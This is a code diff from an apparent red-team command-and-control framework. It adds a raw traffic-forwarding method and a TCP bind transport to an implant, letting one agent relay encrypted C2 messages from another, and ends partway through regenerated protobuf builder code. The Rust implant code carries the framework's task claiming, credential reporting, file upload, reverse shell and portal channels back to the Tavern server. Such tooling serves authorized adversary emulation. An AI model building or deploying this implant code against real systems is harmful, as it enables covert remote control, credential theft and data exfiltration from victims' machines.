b/implants/lib/transport/src/grpc.rs @@ -1,4 +1,5 @@ use anyhow::Result; +use bytes::{Buf, BufMut}; use http::Uri; use pb::c2::*; use pb::config::Config; @@ -13,6 +14,54 @@ use crate::Transport; use crate::tls_utils::AcceptAllCertVerifier; use std::sync::Arc; + +// RawCodec is a passthrough tonic codec that sends/receives raw byte slices unchanged. +// Used by forward_raw so that pre-encrypted bytes from Agent B aren't re-encoded. +#[derive(Debug, Default, Clone)] +struct RawCodec; +impl tonic::codec::Codec for RawCodec { + type Encode = Vec; + type Decode = Vec; + type Encoder = RawEncoder; + type Decoder = RawDecoder; + fn encoder(&mut self) -> Self::Encoder { + RawEncoder + } + fn decoder(&mut self) -> Self::Decoder { + RawDecoder + } +} +#[derive(Debug, Default, Clone)] +struct RawEncoder; +impl tonic::codec::Encoder for RawEncoder { + type Item = Vec; + type Error = tonic::Status; + fn encode( + &mut self, + item: Self::Item, + buf: &mut tonic::codec::EncodeBuf<'_>, + ) -> std::result::Result<(), Self::Error> { + buf.put_slice(&item); + Ok(()) + } +} +#[derive(Debug, Default, Clone)] +struct RawDecoder; +impl tonic::codec::Decoder for RawDecoder { + type Item = Vec; + type Error = tonic::Status; + fn decode( + &mut self, + buf: &mut tonic::codec::DecodeBuf<'_>, + ) -> std::result::Result, Self::Error> { + if !buf.has_remaining() { + return Ok(None); + } + let chunk = buf.chunk().to_vec(); + buf.advance(chunk.len()); + Ok(Some(chunk)) + } +} use std::time::Duration; #[derive(Clone)] @@ -341,6 +390,59 @@ impl Transport for GRPC { fn list_available(&self) -> Vec { vec!["grpc".to_string()] } + + async fn forward_raw( + &mut self, + path: String, + rx: tokio::sync::mpsc::Receiver>, + tx: tokio::sync::mpsc::Sender>, + ) -> anyhow::Result<()> { + if self.grpc.is_none() { + return Err(anyhow::anyhow!("grpc client not created")); + } + self.grpc + .as_mut() + .unwrap() + .ready() + .await + .map_err(|e| anyhow::anyhow!("Service was not ready: {}", e))?; + + // Agent B already ChaCha-encodes its messages before sending over UDS/TCP. + // Using RawCodec here forwards those bytes unchanged so Tavern sees + // exactly one layer of ChaCha encryption (not two). + let codec = RawCodec; + let uri_path = tonic::codegen::http::uri::PathAndQuery::try_from(path)?; + + let req_stream = tokio_stream::wrappers::ReceiverStream::new(rx); + let req = tonic::Request::new(req_stream); + + let resp = self + .grpc + .as_mut() + .unwrap() + .streaming(req, uri_path, codec) + .await?; + let mut resp_stream = resp.into_inner(); + + tokio::spawn(async move { + while let Some(msg) = match resp_stream.message().await { + Ok(m) => m, + Err(_err) => { + #[cfg(debug_assertions)] + log::error!("failed to receive gRPC stream response: {}", _err); + None + } + } { + if tx.send(msg).await.is_err() { + #[cfg(debug_assertions)] + log::error!("failed to queue remote input"); + return; + } + } + }); + + Ok(()) + } } impl GRPC { diff --git a/implants/lib/transport/src/http.rs b/implants/lib/transport/src/http.rs index 0a24813b7..3e1989248 100644 --- a/implants/lib/transport/src/http.rs +++ b/implants/lib/transport/src/http.rs @@ -744,6 +744,170 @@ impl Transport for HTTP { "http" } + async fn forward_raw( + &mut self, + path: String, + mut rx: tokio::sync::mpsc::Receiver>, + tx: tokio::sync::mpsc::Sender>, + ) -> anyhow::Result<()> { + let uri = self.build_uri(&path)?; + let parts: Vec<&str> = path.split('/').collect(); + let method_name = *parts.get(2).unwrap_or(&""); + + match method_name { + "ClaimTasks" | "ReportCredential" | "ReportProcessList" | "ReportOutput" => { + let req_bytes = rx + .recv() + .await + .ok_or_else(|| anyhow::anyhow!("No input for unary call"))?; + let req = self + .request_builder(uri) + .body(hyper_legacy::Body::from(req_bytes)) + .context("Failed to build HTTP request")?; + + let response = self.send_and_validate(req).await?; + let body_bytes = Self::read_response_body(response).await?; + tx.send(body_bytes.to_vec()) + .await + .map_err(|e| anyhow::anyhow!("Send failed: {}", e))?; + } + "FetchAsset" => { + let req_bytes = rx + .recv() + .await + .ok_or_else(|| anyhow::anyhow!("No input for FetchAsset"))?; + let req = self + .request_builder(uri) + .body(hyper_legacy::Body::from(req_bytes)) + .context("Failed to build HTTP request")?; + + let response = self.send_and_validate(req).await?; + let mut body = response.into_body(); + let mut buffer = BytesMut::new(); + + loop { + while let Some((_header, encrypted_message)) = + grpc_frame::FrameHeader::extract_frame(&mut buffer) + { + let chunk = encrypted_message.to_vec(); + tx.send(chunk) + .await + .map_err(|e| anyhow::anyhow!("Send failed: {}", e))?; + } + + match body.data().await { + Some(Ok(chunk)) => { + buffer.extend_from_slice(&chunk); + } + Some(Err(err)) => { + return Err(anyhow::anyhow!("Failed to read chunk: {}", err)) + } + None => break, + } + } + } + "ReportFile" => { + let (mut req_tx, body) = hyper_legacy::Body::channel(); + + tokio::spawn(async move { + while let Some(req_chunk) = rx.recv().await { + let frame_header = grpc_frame::FrameHeader::new(req_chunk.len() as u32); + if req_tx + .send_data(hyper_legacy::body::Bytes::from( + frame_header.encode().to_vec(), + )) + .await + .is_err() + { + break; + } + if req_tx + .send_data(hyper_legacy::body::Bytes::from(req_chunk)) + .await + .is_err() + { + break; + } + } + }); + + let req = self + .request_builder(uri) + .body(body) + .context("Failed to build HTTP request")?; + + let response = self.send_and_validate(req).await?; + let body_bytes = Self::read_response_body(response).await?; + tx.send(body_bytes.to_vec()) + .await + .map_err(|e| anyhow::anyhow!("Send failed: {}", e))?; + } + "ReverseShell" | "CreatePortal" => { + let (mut req_tx, body) = hyper_legacy::Body::channel(); + + tokio::spawn(async move { + while let Some(req_chunk) = rx.recv().await { + let frame_header = grpc_frame::FrameHeader::new(req_chunk.len() as u32); + if req_tx + .send_data(hyper_legacy::body::Bytes::from( + frame_header.encode().to_vec(), + )) + .await + .is_err() + { + break; + } + if req_tx + .send_data(hyper_legacy::body::Bytes::from(req_chunk)) + .await + .is_err() + { + break; + } + } + }); + + let req = self + .request_builder(uri) + .body(body) + .context("Failed to build HTTP request")?; + + let response = self.send_and_validate(req).await?; + let mut body = response.into_body(); + let mut buffer = BytesMut::new(); + + loop { + while let Some((_header, encrypted_message)) = + grpc_frame::FrameHeader::extract_frame(&mut buffer) + { + let chunk = encrypted_message.to_vec(); + if tx.send(chunk).await.is_err() { + // Forwarding channel closed, we can break out of sending + break; + } + } + + match body.data().await { + Some(Ok(chunk)) => { + buffer.extend_from_slice(&chunk); + } + Some(Err(err)) => { + return Err(anyhow::anyhow!("Failed to read chunk: {}", err)) + } + None => break, + } + } + } + _ => { + return Err(anyhow::anyhow!( + "Unsupported HTTP method for raw forwarding: {}", + method_name + )); + } + } + Ok(()) + } + fn list_available(&self) -> Vec { vec!["http".to_string()] } diff --git a/implants/lib/transport/src/lib.rs b/implants/lib/transport/src/lib.rs index 40711de2f..89fb7f959 100644 --- a/implants/lib/transport/src/lib.rs +++ b/implants/lib/transport/src/lib.rs @@ -22,6 +22,11 @@ mod mock; #[cfg(feature = "mock")] pub use mock::MockTransport; +#[cfg(feature = "tcp-bind")] +mod tcp_bind; +#[cfg(feature = "tcp-bind")] +pub use tcp_bind::TcpBindTransport; + mod transport; pub use transport::Transport; @@ -73,6 +78,15 @@ pub fn create_transport(config: Config) -> Result { + Err(anyhow!("UDS transport is provided by pro-transports")) + } + Ok(TransportType::TransportTcpBind) => { + #[cfg(feature = "tcp-bind")] + return Ok(Box::new(tcp_bind::TcpBindTransport::new(config)?)); + #[cfg(not(feature = "tcp-bind"))] + return Err(anyhow!("TCP Bind transport not enabled")); + } Ok(TransportType::TransportUnspecified) | Err(_) => { Err(anyhow!("Invalid or unspecified transport type")) } diff --git a/implants/lib/transport/src/mock.rs b/implants/lib/transport/src/mock.rs index 3ebaf98df..11b1d279d 100644 --- a/implants/lib/transport/src/mock.rs +++ b/implants/lib/transport/src/mock.rs @@ -60,6 +60,13 @@ mock! { ) -> Result<()>; + async fn forward_raw( + &mut self, + path: String, + rx: tokio::sync::mpsc::Receiver>, + tx: tokio::sync::mpsc::Sender>, + ) -> Result<()>; + fn is_active(&self) -> bool; fn name(&self) -> &'static str; diff --git a/implants/lib/transport/src/tcp_bind.rs b/implants/lib/transport/src/tcp_bind.rs new file mode 100644 index 000000000..0432bd7e9 --- /dev/null +++ b/implants/lib/transport/src/tcp_bind.rs @@ -0,0 +1,453 @@ +use crate::Transport; +use anyhow::{anyhow, Result}; +use pb::c2::*; +use pb::config::Config; +use std::sync::mpsc::{Receiver, Sender}; +use std::sync::Arc; +use tokio::net::TcpListener; +use tokio_stream::wrappers::TcpListenerStream; +use tonic::GrpcMethod; +use tonic::Request; + +// TCP Bind is a local trusted channel; use plain protobuf codec (no encryption). +// ChaCha encryption is applied by Agent A when forwarding upstream to Tavern. + +static CLAIM_TASKS_PATH: &str = "/c2.C2/ClaimTasks"; +static FETCH_ASSET_PATH: &str = "/c2.C2/FetchAsset"; +static REPORT_CREDENTIAL_PATH: &str = "/c2.C2/ReportCredential"; +static REPORT_FILE_PATH: &str = "/c2.C2/ReportFile"; +static REPORT_PROCESS_LIST_PATH: &str = "/c2.C2/ReportProcessList"; +static REPORT_OUTPUT_PATH: &str = "/c2.C2/ReportOutput"; +static REVERSE_SHELL_PATH: &str = "/c2.C2/ReverseShell"; +static CREATE_PORTAL_PATH: &str = "/c2.C2/CreatePortal"; + +/// Cached TCP listener + gRPC channel, keyed by bind address. +/// ImixAgent calls TcpBindTransport::new() every beacon cycle; caching here prevents +/// re-binding the port and re-creating the HTTP/2 connection each time. +static TCP_BIND_CACHE: std::sync::OnceLock<( + String, // bind addr + Arc>, // listener stream + tonic::client::Grpc, // persistent gRPC channel +)> = std::sync::OnceLock::new(); + +#[derive(Clone)] +pub struct TcpBindTransport { + grpc: Option>, +} + +#[async_trait::async_trait] +impl Transport for TcpBindTransport { + fn clone_box(&self) -> Box { + Box::new(self.clone()) + } + + fn init() -> Self { + TcpBindTransport { grpc: None } + } + + fn new(config: Config) -> Result { + let uri = config + .info + .as_ref() + .and_then(|info| info.available_transports.as_ref()) + .and_then(|at| { + let active_idx = at.active_index as usize; + at.transports + .get(active_idx) + .or_else(|| at.transports.first()) + }) + .map(|t| t.uri.clone()) + .ok_or_else(|| anyhow!("No transports configured"))?; + + #[cfg(debug_assertions)] + log::info!("[tcp-bind] new() with uri: {}", uri); + + // Expect URI to look like tcp://0.0.0.0:8443 + let addr = if uri.starts_with("tcp://") { + uri.strip_prefix("tcp://") + .unwrap() + .trim_end_matches('/') + .to_string() + } else { + return Err(anyhow!( + "Invalid scheme for TCP Bind transport (expected tcp://): {}", + uri + )); + }; + + #[cfg(debug_assertions)] + log::info!("[tcp-bind] bind address: {}", addr); + + // If we already have a cached channel for this addr, reuse it. + if let Some((cached_addr, _stream, cached_grpc)) = TCP_BIND_CACHE.get() { + if cached_addr == &addr { + #[cfg(debug_assertions)] + log::debug!("[tcp-bind] reusing cached gRPC channel for {}", addr); + return Ok(Self { + grpc: Some(cached_grpc.clone()), + }); + } else { + return Err(anyhow!( + "TcpBindTransport addr changed from {} to {} — restart required", + cached_addr, + addr + )); + } + } + + // First call: bind the listener using synchronous std API (safe to call outside async context). + #[cfg(debug_assertions)] + log::info!( + "[tcp-bind] binding TCP listener at {} — waiting for Agent A to connect", + addr + ); + let std_listener = std::net::TcpListener::bind(&addr)?; + std_listener.set_nonblocking(true)?; + let listener = TcpListener::from_std(std_listener)?; + let stream = Arc::new(tokio::sync::Mutex::new(TcpListenerStream::new(listener))); + + // We use a dummy endpoint since we are connecting over the custom connector. + let endpoint = tonic::transport::Endpoint::try_from("http://[::]:50051")?; + let stream_for_connector = stream.clone(); + let channel = endpoint.connect_with_connector_lazy(tower::service_fn( + move |uri: tonic::transport::Uri| { + let stream_clone = stream_for_connector.clone(); + #[cfg(debug_assertions)] + log::debug!("[tcp-bind] connector called for uri: {}", uri); + async move { + use tokio_stream::StreamExt; + #[cfg(debug_assertions)] + log::debug!("[tcp-bind] connector: waiting for next TCP connection..."); + let mut guard = stream_clone.lock().await; + if let Some(conn) = guard.next().await { + match conn { + Ok(c) => { + #[cfg(debug_assertions)] + log::info!( + "[tcp-bind] connector: accepted connection from Agent A" + ); + Ok(hyper_util::rt::TokioIo::new(c)) + } + Err(e) => { + #[cfg(debug_assertions)] + log::error!("[tcp-bind] connector: accept error: {}", e); + Err(std::io::Error::new( + std::io::ErrorKind::Other, + e.to_string(), + )) + } + } + } else { + #[cfg(debug_assertions)] + log::error!("[tcp-bind] connector: TCP listener stream closed"); + Err(std::io::Error::new( + std::io::ErrorKind::BrokenPipe, + "TCP listener closed", + )) + } + } + }, + )); + + let grpc = tonic::client::Grpc::new(channel); + #[cfg(debug_assertions)] + log::info!("[tcp-bind] gRPC channel created, transport ready"); + + // Cache the stream + channel for future cycles. + let _ = TCP_BIND_CACHE.set((addr, stream, grpc.clone())); + + Ok(Self { grpc: Some(grpc) }) + } + + async fn claim_tasks(&mut self, request: ClaimTasksRequest) -> Result { + #[cfg(debug_assertions)] + log::debug!("[tcp-bind] claim_tasks()"); + let resp = self.claim_tasks_impl(request).await?; + Ok(resp.into_inner()) + } + + async fn fetch_asset( + &mut self, + request: FetchAssetRequest, + tx: Sender, + ) -> Result<()> { + let resp = self.fetch_asset_impl(request).await?; + let mut stream = resp.into_inner(); + loop { + match stream.message().await { + Ok(Some(msg)) => { + if tx.send(msg).is_err() { + break; + } + } + Ok(None) => break, + Err(_) => break, + } + } + Ok(()) + } + + async fn report_credential( + &mut self, + request: ReportCredentialRequest, + ) -> Result { + let resp = self.report_credential_impl(request).await?; + Ok(resp.into_inner()) + } + + async fn report_file( + &mut self, + request: Receiver, + ) -> Result { + let stream = tokio_stream::iter(request); + let tonic_req = Request::new(stream); + let resp = self.report_file_impl(tonic_req).await?; + Ok(resp.into_inner()) + } + + async fn report_process_list( + &mut self, + request: ReportProcessListRequest, + ) -> Result { + let resp = self.report_process_list_impl(request).await?; + Ok(resp.into_inner()) + } + + async fn report_output( + &mut self, + request: ReportOutputRequest, + ) -> Result { + #[cfg(debug_assertions)] + log::debug!("[tcp-bind] report_output()"); + let resp = self.report_output_impl(request).await?; + Ok(resp.into_inner()) + } + + async fn reverse_shell( + &mut self, + rx: tokio::sync::mpsc::Receiver, + tx: tokio::sync::mpsc::Sender, + ) -> Result<()> { + let req_stream = tokio_stream::wrappers::ReceiverStream::new(rx); + let resp = self.reverse_shell_impl(req_stream).await?; + let mut resp_stream = resp.into_inner(); + + tokio::spawn(async move { + while let Some(msg) = match resp_stream.message().await { + Ok(m) => m, + Err(_) => None, + } { + if tx.send(msg).await.is_err() { + return; + } + } + }); + + Ok(()) + } + + async fn create_portal( + &mut self, + rx: tokio::sync::mpsc::Receiver, + tx: tokio::sync::mpsc::Sender, + ) -> Result<()> { + let req_stream = tokio_stream::wrappers::ReceiverStream::new(rx); + let resp = self.create_portal_impl(req_stream).await?; + let mut resp_stream = resp.into_inner(); + + tokio::spawn(async move { + while let Some(msg) = match resp_stream.message().await { + Ok(m) => m, + Err(_) => None, + } { + if tx.send(msg).await.is_err() { + return; + } + } + }); + + Ok(()) + } + + fn get_type(&mut self) -> pb::c2::transport::Type { + pb::c2::transport::Type::TransportTcpBind + } + + fn is_active(&self) -> bool { + self.grpc.is_some() + } + + fn name(&self) -> &'static str { + "tcp-bind" + } + + async fn forward_raw( + &mut self, + _path: String, + _rx: tokio::sync::mpsc::Receiver>, + _tx: tokio::sync::mpsc::Sender>, + ) -> Result<()> { + Err(anyhow!( + "TCP Bind transport raw forwarding not implemented yet" + )) + } + + fn list_available(&self) -> Vec { + vec!["tcp-bind".to_string()] + } +} + +impl TcpBindTransport { + async fn check_ready(&mut self) -> Result<(), tonic::Status> { + if self.grpc.is_none() { + #[cfg(debug_assertions)] + log::error!("[tcp-bind] check_ready: grpc client is None"); + return Err(tonic::Status::new( + tonic::Code::FailedPrecondition, + "grpc client not created".to_string(), + )); + } + #[cfg(debug_assertions)] + log::debug!("[tcp-bind] check_ready: waiting for gRPC channel to be ready..."); + self.grpc.as_mut().unwrap().ready().await.map_err(|e| { + #[cfg(debug_assertions)] + log::error!("[tcp-bind] check_ready: channel not ready: {}", e); + tonic::Status::new( + tonic::Code::Unknown, + format!("Service was not ready: {}", e), + ) + })?; + #[cfg(debug_assertions)] + log::debug!("[tcp-bind] check_ready: channel ready"); + Ok(()) + } + + pub async fn claim_tasks_impl( + &mut self, + request: impl tonic::IntoRequest, + ) -> std::result::Result, tonic::Status> { + self.check_ready().await?; + let codec = pb::xchacha::ChachaCodec::default(); + let path = tonic::codegen::http::uri::PathAndQuery::from_static(CLAIM_TASKS_PATH); + let mut req = request.into_request(); + req.extensions_mut() + .insert(GrpcMethod::new("c2.C2", "ClaimTasks")); + self.grpc.as_mut().unwrap().unary(req, path, codec).await + } + + pub async fn fetch_asset_impl( + &mut self, + request: impl tonic::IntoRequest, + ) -> std::result::Result< + tonic::Response>, + tonic::Status, + > { + self.check_ready().await?; + let codec = pb::xchacha::ChachaCodec::default(); + let path = tonic::codegen::http::uri::PathAndQuery::from_static(FETCH_ASSET_PATH); + let mut req = request.into_request(); + req.extensions_mut() + .insert(GrpcMethod::new("c2.C2", "FetchAsset")); + self.grpc + .as_mut() + .unwrap() + .server_streaming(req, path, codec) + .await + } + + pub async fn report_credential_impl( + &mut self, + request: impl tonic::IntoRequest, + ) -> std::result::Result, tonic::Status> { + self.check_ready().await?; + let codec = pb::xchacha::ChachaCodec::default(); + let path = tonic::codegen::http::uri::PathAndQuery::from_static(REPORT_CREDENTIAL_PATH); + let mut req = request.into_request(); + req.extensions_mut() + .insert(GrpcMethod::new("c2.C2", "ReportCredential")); + self.grpc.as_mut().unwrap().unary(req, path, codec).await + } + + pub async fn report_file_impl( + &mut self, + request: impl tonic::IntoStreamingRequest, + ) -> std::result::Result, tonic::Status> { + self.check_ready().await?; + let codec = pb::xchacha::ChachaCodec::default(); + let path = tonic::codegen::http::uri::PathAndQuery::from_static(REPORT_FILE_PATH); + let mut req = request.into_streaming_request(); + req.extensions_mut() + .insert(GrpcMethod::new("c2.C2", "ReportFile")); + self.grpc + .as_mut() + .unwrap() + .client_streaming(req, path, codec) + .await + } + + pub async fn report_process_list_impl( + &mut self, + request: impl tonic::IntoRequest, + ) -> std::result::Result, tonic::Status> { + self.check_ready().await?; + let codec = pb::xchacha::ChachaCodec::default(); + let path = tonic::codegen::http::uri::PathAndQuery::from_static(REPORT_PROCESS_LIST_PATH); + let mut req = request.into_request(); + req.extensions_mut() + .insert(GrpcMethod::new("c2.C2", "ReportProcessList")); + self.grpc.as_mut().unwrap().unary(req, path, codec).await + } + + pub async fn report_output_impl( + &mut self, + request: impl tonic::IntoRequest, + ) -> std::result::Result, tonic::Status> { + self.check_ready().await?; + let codec = pb::xchacha::ChachaCodec::default(); + let path = tonic::codegen::http::uri::PathAndQuery::from_static(REPORT_OUTPUT_PATH); + let mut req = request.into_request(); + req.extensions_mut() + .insert(GrpcMethod::new("c2.C2", "ReportOutput")); + self.grpc.as_mut().unwrap().unary(req, path, codec).await + } + + async fn reverse_shell_impl( + &mut self, + request: impl tonic::IntoStreamingRequest, + ) -> std::result::Result< + tonic::Response>, + tonic::Status, + > { + self.check_ready().await?; + let codec = pb::xchacha::ChachaCodec::default(); + let path = tonic::codegen::http::uri::PathAndQuery::from_static(REVERSE_SHELL_PATH); + let mut req = request.into_streaming_request(); + req.extensions_mut() + .insert(GrpcMethod::new("c2.C2", "ReverseShell")); + self.grpc + .as_mut() + .unwrap() + .streaming(req, path, codec) + .await + } + + async fn create_portal_impl( + &mut self, + request: impl tonic::IntoStreamingRequest, + ) -> std::result::Result< + tonic::Response>, + tonic::Status, + > { + self.check_ready().await?; + let codec = pb::xchacha::ChachaCodec::default(); + let path = tonic::codegen::http::uri::PathAndQuery::from_static(CREATE_PORTAL_PATH); + let mut req = request.into_streaming_request(); + req.extensions_mut() + .insert(GrpcMethod::new("c2.C2", "CreatePortal")); + self.grpc + .as_mut() + .unwrap() + .streaming(req, path, codec) + .await + } +} diff --git a/implants/lib/transport/src/transport.rs b/implants/lib/transport/src/transport.rs index 20d507d10..3ada791bc 100644 --- a/implants/lib/transport/src/transport.rs +++ b/implants/lib/transport/src/transport.rs @@ -153,4 +153,14 @@ pub trait Transport: Send + Sync { /// Returns a list of available transports that this instance can switch to or supports. #[allow(dead_code)] fn list_available(&self) -> Vec; + + /// Forward raw (pre-encrypted) bytes bidirectionally over a gRPC stream. + /// Used by chained transports (Agent A) to proxy C2 traffic from Agent B. + #[allow(dead_code)] + async fn forward_raw( + &mut self, + path: String, + rx: tokio::sync::mpsc::Receiver>, + tx: tokio::sync::mpsc::Sender>, + ) -> anyhow::Result<()>; } diff --git a/tavern/internal/builder/builderpb/builder.pb.go b/tavern/internal/builder/builderpb/builder.pb.go index 413f139bf..df0609620 100644 --- a/tavern/internal/builder/builderpb/builder.pb.go +++ b/tavern/internal/builder/builderpb/builder.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.32.0 +// protoc-gen-go v1.36.5 // protoc v3.21.12 // source: builder.proto @@ -11,6 +11,7 @@ import ( protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" + unsafe "unsafe" ) const ( @@ -73,22 +74,19 @@ func (TargetFormat) EnumDescriptor() ([]byte, []int) { } type Tome struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` + Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + Params string `protobuf:"bytes,3,opt,name=params,proto3" json:"params,omitempty"` unknownFields protoimpl.UnknownFields - - Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` - Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` - Params string `protobuf:"bytes,3,opt,name=params,proto3" json:"params,omitempty"` + sizeCache protoimpl.SizeCache } func (x *Tome) Reset() { *x = Tome{} - if protoimpl.UnsafeEnabled { - mi := &file_builder_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_builder_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *Tome) String() string { @@ -99,7 +97,7 @@ func (*Tome) ProtoMessage() {} func (x *Tome) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[0] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -136,21 +134,18 @@ func (x *Tome) GetParams() string { } type DownloadTomeRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` + TomeId int64 `protobuf:"varint,2,opt,name=tome_id,json=tomeId,proto3" json:"tome_id,omitempty"` unknownFields protoimpl.UnknownFields - - TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` - TomeId int64 `protobuf:"varint,2,opt,name=tome_id,json=tomeId,proto3" json:"tome_id,omitempty"` + sizeCache protoimpl.SizeCache } func (x *DownloadTomeRequest) Reset() { *x = DownloadTomeRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_builder_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_builder_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *DownloadTomeRequest) String() string { @@ -161,7 +156,7 @@ func (*DownloadTomeRequest) ProtoMessage() {} func (x *DownloadTomeRequest) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[1] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -191,21 +186,18 @@ func (x *DownloadTomeRequest) GetTomeId() int64 { } type DownloadTomeResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Chunk []byte `protobuf:"bytes,2,opt,name=chunk,proto3" json:"chunk,omitempty"` unknownFields protoimpl.UnknownFields - - Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` - Chunk []byte `protobuf:"bytes,2,opt,name=chunk,proto3" json:"chunk,omitempty"` + sizeCache protoimpl.SizeCache } func (x *DownloadTomeResponse) Reset() { *x = DownloadTomeResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_builder_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_builder_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *DownloadTomeResponse) String() string { @@ -216,7 +208,7 @@ func (*DownloadTomeResponse) ProtoMessage() {} func (x *DownloadTomeResponse) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[2] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -246,18 +238,16 @@ func (x *DownloadTomeResponse) GetChunk() []byte { } type ClaimBuildTasksRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ClaimBuildTasksRequest) Reset() { *x = ClaimBuildTasksRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_builder_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_builder_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ClaimBuildTasksRequest) String() string { @@ -268,7 +258,7 @@ func (*ClaimBuildTasksRequest) ProtoMessage() {} func (x *ClaimBuildTasksRequest) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[3] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -284,29 +274,26 @@ func (*ClaimBuildTasksRequest) Descriptor() ([]byte, []int) { } type BuildTaskSpec struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` - TargetOs string `protobuf:"bytes,2,opt,name=target_os,json=targetOs,proto3" json:"target_os,omitempty"` - BuildImage string `protobuf:"bytes,3,opt,name=build_image,json=buildImage,proto3" json:"build_image,omitempty"` - BuildScript string `protobuf:"bytes,4,opt,name=build_script,json=buildScript,proto3" json:"build_script,omitempty"` - ArtifactPath string `protobuf:"bytes,6,opt,name=artifact_path,json=artifactPath,proto3" json:"artifact_path,omitempty"` - PreBuildScript string `protobuf:"bytes,7,opt,name=pre_build_script,json=preBuildScript,proto3" json:"pre_build_script,omitempty"` - PostBuildScript string `protobuf:"bytes,8,opt,name=post_build_script,json=postBuildScript,proto3" json:"post_build_script,omitempty"` - Env []string `protobuf:"bytes,9,rep,name=env,proto3" json:"env,omitempty"` - Tomes []*Tome `protobuf:"bytes,10,rep,name=tomes,proto3" json:"tomes,omitempty"` - SetupScript string `protobuf:"bytes,11,opt,name=setup_script,json=setupScript,proto3" json:"setup_script,omitempty"` + state protoimpl.MessageState `protogen:"open.v1"` + Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` + TargetOs string `protobuf:"bytes,2,opt,name=target_os,json=targetOs,proto3" json:"target_os,omitempty"` + BuildImage string `protobuf:"bytes,3,opt,name=build_image,json=buildImage,proto3" json:"build_image,omitempty"` + BuildScript string `protobuf:"bytes,4,opt,name=build_script,json=buildScript,proto3" json:"build_script,omitempty"` + ArtifactPath string `protobuf:"bytes,6,opt,name=artifact_path,json=artifactPath,proto3" json:"artifact_path,omitempty"` + PreBuildScript string `protobuf:"bytes,7,opt,name=pre_build_script,json=preBuildScript,proto3" json:"pre_build_script,omitempty"` + PostBuildScript string `protobuf:"bytes,8,opt,name=post_build_script,json=postBuildScript,proto3" json:"post_build_script,omitempty"` + Env []string `protobuf:"bytes,9,rep,name=env,proto3" json:"env,omitempty"` + Tomes []*Tome `protobuf:"bytes,10,rep,name=tomes,proto3" json:"tomes,omitempty"` + SetupScript string `protobuf:"bytes,11,opt,name=setup_script,json=setupScript,proto3" json:"setup_script,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *BuildTaskSpec) Reset() { *x = BuildTaskSpec{} - if protoimpl.UnsafeEnabled { - mi := &file_builder_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_builder_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *BuildTaskSpec) String() string { @@ -317,7 +304,7 @@ func (*BuildTaskSpec) ProtoMessage() {} func (x *BuildTaskSpec) ProtoReflect() protoreflect.Message { mi := 